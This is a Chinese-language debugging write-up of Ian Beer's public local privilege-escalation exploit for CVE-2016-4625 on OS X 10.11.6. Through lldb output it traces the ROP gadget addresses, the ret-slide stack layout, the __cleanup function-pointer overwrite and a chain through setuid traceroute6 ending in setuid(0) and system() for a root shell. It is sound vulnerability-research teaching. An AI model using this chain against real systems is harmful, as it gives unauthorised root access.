0x00 摘要
前两天Project Zero的blog上面,Ian Beer发表了一篇新的文章,讨论了在xnu 的内核在设计上存在的一个问题,从而可以导致提权,沙箱逃逸等一洗了的问题。并且提供了相应的的POC与EXP源码。这篇文章是调试与分析其中第一个漏洞CVE-2016-4625的部分。
OS X/iOS kernel use-after-free in IOSurface
0x01 准备工作
1.1 基础知识
在阅读本文之前,需要稍微了解一下mach_msg相关的知识,以及一些使用mach_msg的技巧,理解父进程与子进程交换port之后可以做一些操作。
1.2 调试环境
本文的EXP的运行环境是OS X 10.11.6。使用的虚拟机软件是parallels desktop
0x02 漏洞成因
task_t considered harmful这篇已经说的很清楚了。这幅图大致反应出整个流程。

0x03 Exploit调试
对理解整个exploit关键的几个点进行调试。
3.1 setup_payload_and_offsets
首先通过memmem函数在libsystem_c.dylib中找到几个相应的ROP组件。
- ret指令所在地址
0x7fff8fe520d5。
1 | (lldb) dis -s ret libsystem_c.dylib`strcpy: 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 |
- pop_rdi_ret指令所在地址
0x7fff8fe8a213。
1 | (lldb) dis -s pop_rdi_ret libsystem_c.dylib`addr2ascii: 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 |
- stack_shift_gadget指令所在地址
0x7fff8fed1cec
1 | (lldb) dis -s stack_shift_gadget libsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret |
因为traceroute6的栈足够长,所以exploit将payload就放在栈上,通过stack_shift_gadget跳到一串连续的ret的gadget处,从而触发提权代码的执行。
在args_u64的ROP栈处理好之后,内存布局如下:
1 | (lldb) memory read -size 8 -format x -c100 args_u64 0x101000000: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000010: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000020: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000030: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000040: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000050: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000060: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000070: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000080: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000090: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000a0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000b0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010000c0: 0x00007fff8fe520d5 0x00007fff8fe520d5 |
可以看到0x00007fff8fe520d5就是ret的 gad_get的地址。
1 | 383 // ret-slide |
在执行389-394行之后,最后的stack内存的布局如下:
1 | (lldb) p/x i (int) $32 = 0x00000102 (lldb) p &args_u64[0x102] (uint8_t **) $30 = 0x0000000101000810 (lldb) memory read -size 8 -format x -count 30 0x0000000101000790 0x101000790: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007a0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007b0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007c0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007d0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007e0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x1010007f0: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000800: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x101000810: 0x00007fff8fe8a213 0x0000000000000000 0x101000820: 0x00007fff8a183628 0x00007fff8fe8a213 0x101000830: 0x00007fff8fedb69e 0x00007fff8fed0e0b 0x101000840: 0x0000000000000000 0x0000000000000000 0x101000850: 0x0000000000000000 0x0000000000000000 0x101000860: 0x0000000000000000 0x0000000000000000 0x101000870: 0x0000000000000000 0x0000000000000000 |
可以看到0x101000800之前都是用ret的gad_get填充的,从0x101000810开始是伪造的调用栈的结构。大致如下图所示:
1 | /* args |
ROP的逻辑很简单,通过跳转到上面任意一个ret,就会执行setuid(0),并且创建一个具有root权限的shell。通过execve调用traceroute6的时候需要将这一段并到execve的参数上面去。
1 | 398 size_t argv_allocation_size = (ret_slide_length+100)*8*8; |
最后target_argv的结构大致如下:
1 | /* |
3.2 do_parent
1 | 598 //overwrite the fptr value: |
do_parent的这一行代码修改了__clean处的地址。
在执行599行之前观察。
1 | (lldb) p/x *(uint64_t*)(shared_page+fptr_offset) |
在执行了overwrite之后的内存如下:
1 | (lldb) p/x *(uint64_t*)(shared_page+fptr_offset) |
3.3 traceroute6
要调试execve启动的traceroute6,先通过lldb启动surfacer00t_10_11_6,对fork下断点。
1 | (lldb) b fork Breakpoint 6: where = libsystem_c.dylib`fork, address = 0x00007fff8fe60f70 |
执行到fork后会停下来。
1 | * thread #1: tid = 0x6e32, 0x00007fff8fe60f70 libsystem_c.dylib`fork, queue = 'com.apple.main-thread', stop reason = breakpoint 6.1 |
这个时候启动另外一个lldb进程,这个lldb要用sudo启动,否则会无法attach。
1 | (lldb) process attach -name traceroute6 -waitfor |
通过这条指令,等待traceroute6执行。同时继续执行fork的lldb。
1 | (lldb) process attach -name traceroute6 -waitfor |
就可以调试ROP的执行过程。
有一点要注意,除了要sudo启动第二个lldb之外,系统还需要关闭SIP,但是在Parallels Desktop中进入OS X的恢复模式,有点奇特。并不是command+R。
Information
This article describes how to boot into your OS X virtual machine’s Recovery Mode on Parallels Desktop.
- Start Parallels Desktop but do not start your virtual machine.
- Open virtual machine’s configuration window -> Hardware -> Boot Order.
- Enable Select boot device on startup option and close configuration window.
- Start your OS X virtual machine, click on the virtual machine window to make it grab the focus and press any key when prompted:
- On the Boot Manager window choose Mac OS X Recovery:
也可以看这里。
通过查看__cleanup处的汇编代码可以看到函数已经被替换了。
1 | (lldb) p __cleanup (void *) $0 = 0x00007fff8fed1cec (lldb) dis -s __cleanup libsystem_c.dylib`realpath$DARWIN_EXTSN: 0x7fff8fed1cec <+1935>: addq $0x1d88, %rsp ; imm = 0x1D88 0x7fff8fed1cf3 <+1942>: popq %rbx 0x7fff8fed1cf4 <+1943>: popq %r12 0x7fff8fed1cf6 <+1945>: popq %r13 0x7fff8fed1cf8 <+1947>: popq %r14 0x7fff8fed1cfa <+1949>: popq %r15 0x7fff8fed1cfc <+1951>: popq %rbp 0x7fff8fed1cfd <+1952>: retq 0x7fff8fed1cfe <+1953>: callq 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: movl $0x3e, (%rax) |
可以对这里打断点后释放,就会执行到我们的栈上跳转的代码。
1 | (lldb) b *0x00007fff8fed1cec |
观察$rsp寄存器
1 | (lldb) register read |
执行0x7fff8fed1cec处开始的gad_get之后,就会修改rsp,并通过ret指令,跳转到具体的payload。
1 | -> 0x7fff8fed1cec <+1935>: add rsp, 0x1d88 |
执行的流程大致如下
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf3 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1942 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf3 <+1942>: pop rbx 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf4 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1943 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf4 <+1943>: pop r12 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf6 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1945 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf6 <+1945>: pop r13 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cf8 libsystem_c.dylib`realpath$DARWIN_EXTSN + 1947 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cf8 <+1947>: pop r14 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfa libsystem_c.dylib`realpath$DARWIN_EXTSN + 1949 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfa <+1949>: pop r15 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfc libsystem_c.dylib`realpath$DARWIN_EXTSN + 1951 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfc <+1951>: pop rbp 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed1cfd libsystem_c.dylib`realpath$DARWIN_EXTSN + 1952 libsystem_c.dylib`realpath$DARWIN_EXTSN: -> 0x7fff8fed1cfd <+1952>: ret 0x7fff8fed1cfe <+1953>: call 0x7fff8fed5fdc ; symbol stub for: __error 0x7fff8fed1d03 <+1958>: mov dword ptr [rax], 0x3e 0x7fff8fed1d09 <+1964>: jmp 0x7fff8fed1734 ; <+471> (lldb) Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe520d5 libsystem_c.dylib`strcpy + 85 libsystem_c.dylib`strcpy: -> 0x7fff8fe520d5 <+85>: ret 0x7fff8fe520d6 <+86>: movdqu xmm0, xmmword ptr [rsi + rcx] 0x7fff8fe520db <+91>: movdqu xmmword ptr [rdi], xmm0 0x7fff8fe520df <+95>: mov rax, rdi |
可以看到,最后一个执行的 是0x7fff8fe520d5处的ret。
观察寄存器可以发现$rip=0x00007fff8fe520d5,$rsp=0x00007fff523dea18。而栈已经变成了这样了。
1 | (lldb) memory read -size 8 -format x -count 100 0x00007fff523dea18 0x7fff523dea18: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea28: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea38: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea48: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea58: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea68: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea78: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea88: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523dea98: 0x00007fff8fe520d5 0x00007fff8fe520d5 |
继续执行代码
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fe8a213 libsystem_c.dylib`addr2ascii + 116 libsystem_c.dylib`addr2ascii: -> 0x7fff8fe8a213 <+116>: pop rdi 0x7fff8fe8a214 <+117>: ret 0x7fff8fe8a215 <+118>: add al, 0x0 0x7fff8fe8a217 <+120>: mov rax, rbx |
执行了我们的第一个ROP的 gad_get。这个时候再观察我们的函数栈
1 | (lldb) memory read -size 8 -format x -count 30 $rsp-0x20 0x7fff523def50: 0x00007fff8fe520d5 0x00007fff8fe520d5 0x7fff523def60: 0x00007fff8fe520d5 0x00007fff8fe8a213 0x7fff523def70: 0x0000000000000000 0x00007fff8a183628 0x7fff523def80: 0x00007fff8fe8a213 0x00007fff8fedb69e 0x7fff523def90: 0x00007fff8fed0e0b 0x0000000000000000 0x7fff523defa0: 0x0000000000000000 0x0000000000000000 0x7fff523defb0: 0x0000000000000000 0x0000000000000000 0x7fff523defc0: 0x0000000000000000 0x0000000000000000 0x7fff523defd0: 0x0000000000000000 0x0000000000000000 0x7fff523defe0: 0x0000000000000000 0x0000000000000000 0x7fff523deff0: 0x0000000000000000 0x0000000000000000 0x7fff523df000: 0x0000000000000000 0x0000000000000000 0x7fff523df010: 0x0000000000000000 0x0000000000000000 0x7fff523df020: 0x0000000000000000 0x0000000000000000 0x7fff523df030: 0x0000000000000000 0x0000000000000000 |
就是我们构造的栈。
继续执行,也确实会看到相应的函数被执行。
1 | (lldb) n Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8a183628 libsystem_kernel.dylib`setuid, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8a183628 libsystem_kernel.dylib`setuid libsystem_kernel.dylib`setuid: -> 0x7fff8a183628 <+0>: mov eax, 0x2000017 0x7fff8a18362d <+5>: mov r10, rcx 0x7fff8a183630 <+8>: syscall 0x7fff8a183632 <+10>: jae 0x7fff8a18363c ; <+20> ...省略n步... Process 580 stopped * thread #1: tid = 0x7244, 0x00007fff8fed0e0b libsystem_c.dylib`system, queue = 'com.apple.main-thread', stop reason = instruction step over frame #0: 0x00007fff8fed0e0b libsystem_c.dylib`system libsystem_c.dylib`system: |
到此,exploit最基本的逻辑算是理清楚了。
0x04 关于阻塞子进程
阻塞子进程的技巧所要达到的目的就是,让子进程调用execve函数之后,内核中执行完task_t相关数据修改后因为Pipe阻塞的并且已经满了,所以不会立即开始执行traceroute6的main函数。这样就给父进程做内存改写的时间窗口。
0x05 小结
分析到这里,只是初步了解了exploit的原理,对整个漏洞的分析才刚刚开始,有更多值得挖掘和思考的地方。这篇文章仅仅希望能够帮助大家解决研究OS X内核漏洞的一些最基础的问题和小技巧。如果有不足之处还希望大家指出:)